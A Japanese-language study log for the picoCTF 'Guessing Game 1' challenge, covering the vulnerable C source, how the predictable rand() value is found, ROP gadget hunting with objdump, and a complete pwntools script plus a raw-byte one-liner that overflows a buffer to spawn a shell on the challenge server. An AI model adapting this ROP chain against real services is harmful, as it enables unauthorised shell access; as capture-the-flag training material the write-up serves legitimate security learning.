picoGym Practice Challenges Guessing Game 1 を勉強した記録


picoGym Practice Challenges Guessing Game 1

I made a simple game to show off my programming skills. See if you can beat it!
vuln vuln.c Makefile nc jupiter.challenges.picoctf.org 50581

Makefile
all:
    gcc -m64 -fno-stack-protector -O0 -no-pie -static -o vuln vuln.c

clean:
    rm vuln
vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

#define BUFSIZE 100


long increment(long in) {
    return in + 1;
}

long get_random() {
    return rand() % BUFSIZE;
}

int do_stuff() {
    long ans = get_random();
    ans = increment(ans);
    int res = 0;

    printf("What number would you like to guess?\n");
    char guess[BUFSIZE];
    fgets(guess, BUFSIZE, stdin);

    long g = atol(guess);
    if (!g) {
        printf("That's not a valid number!\n");
    } else {
        if (g == ans) {
            printf("Congrats! You win! Your prize is this print statement!\n\n");
            res = 1;
        } else {
            printf("Nope!\n\n");
        }
    }
    return res;
}

void win() {
    char winner[BUFSIZE];
    printf("New winner!\nName? ");
    fgets(winner, 360, stdin);
    printf("Congrats %s\n\n", winner);
}

int main(int argc, char **argv){
    setvbuf(stdout, NULL, _IONBF, 0);
    // Set the gid to the effective gid
    // this prevents /bin/sh from dropping the privileges
    gid_t gid = getegid();
    setresgid(gid, gid, gid);

    int res;

    printf("Welcome to my guessing game!\n\n");

    while (1) {
        res = do_stuff();
        if (res) {
            win();
        }
    }

    return 0;
}

脆弱性は?

ソースから
do_stuff関数内でgameに勝つと win関数に進める
win関数内の fgets にバッファオーバーフローがある

main関数

=> 0x0000000000400ce9 <+93>:    call   0x400b9a <do_stuff>
   0x0000000000400cee <+98>:    mov    DWORD PTR [rbp-0x8],eax
   0x0000000000400cf1 <+101>:   cmp    DWORD PTR [rbp-0x8],0x0
   0x0000000000400cf5 <+105>:   je     0x400ce4 <main+88>
   0x0000000000400cf7 <+107>:   mov    eax,0x0
   0x0000000000400cfc <+112>:   call   0x400c40 <win>
   0x0000000000400d01 <+117>:   jmp    0x400ce4 <main+88>

"A"の数
"A" * 8 * 15

gameに勝つ部分

get_randomに癖はあるか?

回数
1回目 RAX: 0x53 ('S')
2回目 RAX: 0x56 ('V')
3回目 RAX: 0x4d ('M')

ここで r (run)

回数
1回目 RAX: 0x53 ('S')
2回目 RAX: 0x56 ('V')
3回目 RAX: 0x4d ('M')

毎回同じだ

1回目に必ず 83 を出してくるので 84 で勝つ

shellを奪う部分

情報収集と方針の決定

objdump -d -M intel ./game1
/ syscall
  40137c:       0f 05                   syscall 

syscall があるので execve("/bin/sh",NULL,NULL) を狙う。

"/bin/sh"は無いので自分でどこかに書き込む
どこに書き込むか?

objdump -h  ./game1 | less

20 .data         00001bb0  00000000006ba0e0  00000000006ba0e0  000ba0e0  2**5
                  CONTENTS, ALLOC, LOAD, DATA
25 .bss          000016f8  00000000006bc3a0  00000000006bc3a0  000bc398  2**5
                  ALLOC

どっちかでいける?
とりあえず経験がある .bss 0x6bc3a0 に "/bin/sh\x00" を書く方針で

.bss に "/bin/sh\x00" を書く

スタック設計図

+---------------------------------+
| pop rax; ret                    |
+---------------------------------+
| "/bin/sh\x00"                   |
+---------------------------------+
| pop rsi; ret                    |
+---------------------------------+
| .bss                            |
+---------------------------------+
| mov qword ptr [rsi], rax ; ret  |
+---------------------------------+

execve("/bin/sh",NULL,NULL)

syscallに飛ばす直前のレジスタ

レジスタ
RDI "/bin/sh"のアドレス
RSI 0x0
RDX 0x0
RAX 0x3b (59 execve)

の状態でretでsyscallに飛ばす

スタック設計図

+--------------------+
| pop rdi; ret       |
+--------------------+
| .bss ("/bin/sh")   |
+--------------------+
| pop rsi; ret       |
+--------------------+
| 0x0                |
+--------------------+
| pop rdx; ret       |
+--------------------+
| 0x0                |
+--------------------+
| pop rax; ret       |
+--------------------+
| 0x3b               |
+--------------------+
| syscall; ret       | 
+--------------------+

ROP 部品集め

pop_rax ; ret
58 c3

  4163f3:       e8 58 c3 ff ff          call   412750 <_IO_wdo_write>

pop_rax = 0x4163f4

pop rsi ; ret
5e c3

  418d4f:       41 5e                   pop    r14
  418d51:       c3                      ret    

pop_rsi = 0x418d50

mov qword ptr [rsi], rax ; ret

/QWORD PTR \[rsi\],rax
  47ff91:       48 89 06                mov    QWORD PTR [rsi],rax
  47ff94:       c3                      ret    

mov_rsi_rax = 47ff91

別解

$ python
>>> from pwn import *
>>> context.arch = "amd64"
>>> asm("mov qword ptr [rsi],rax ; ret")
'H\x89\x06\xc3'
>>> binary = elf.load("game1")
>>> hex(next(binary.search('H\x89\x06\xc3')))
'0x47ff91'

pop rax; ret
58 c3

  4163f3:       e8 58 c3 ff ff          call   412750 <_IO_wdo_write>

pop_rax = 0x4163f4

pop rdi; ret
5f c3

  400695:       41 5f                   pop    r15
  400697:       c3                      ret   

pop_rdi = 0x400696

pop rdx; ret
5a c3

  44cc25:       41 5a                   pop    r10
  44cc27:       c3 

pop_rdx = 0x44cc26

実装

# coding: UTF-8
from pwn import *
import pwn 

io = pwn.remote("jupiter.challenges.picoctf.org", 50581)
#io = pwn.process("./game1")

# gameに勝つ部分

ret = io.readuntil("What number would you like to guess?\n")
print(ret)
io.sendline("84")

ret = io.readuntil("Name? ")
print(ret)

# ROP部品

pop_rax = 0x4163f4
pop_rsi = 0x418d50
mov_rsi_rax = 0x47ff91
pop_rax = 0x4163f4
pop_rdi = 0x400696
pop_rdx = 0x44cc26

addr_bss = 0x6bc3a0
addr_syscall = 0x40137c

# "bin/sh"
s = b"A" * 8 * 15
s += pwn.p64(pop_rax)
s += b"/bin/sh\x00"
s += pwn.p64(pop_rsi)
s += pwn.p64(addr_bss)
s += pwn.p64(mov_rsi_rax)

# execve("/bin/sh",NULL,NULL)
s += pwn.p64(pop_rdi)
s += pwn.p64(addr_bss)
s += pwn.p64(pop_rsi)
s += pwn.p64(0x0)
s += pwn.p64(pop_rdx)
s += pwn.p64(0x0)
s += pwn.p64(pop_rax)
s += pwn.p64(0x3b)
s += pwn.p64(addr_syscall)

print(s)

#io.send(s)
io.sendline(s)
io.interactive()

攻撃コード(別解)

( python -c 'print(84)' ; python -c 'print("a"*120+"\xf4cA\x00\x00\x00\x00\x00/bin/sh\x00\xa3\x0cA\x00\x00\x00\x00\x00\xa0\xc3k\x00\x00\x00\x00\x00\x91\xffG\x00\x00\x00\x00\x00\x96\x06@\x00\x00\x00\x00\x00\xa0\xc3k\x00\x00\x00\x00\x00\xa3\x0cA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb5\xa6D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf4cA\x00\x00\x00\x00\x00;\x00\x00\x00\x00\x00\x00\x00|\x13@\x00\x00\x00\x00\x00")' ; cat ) | nc jupiter.challenges.picoctf.org 50581

 
 

参考にしたwriteup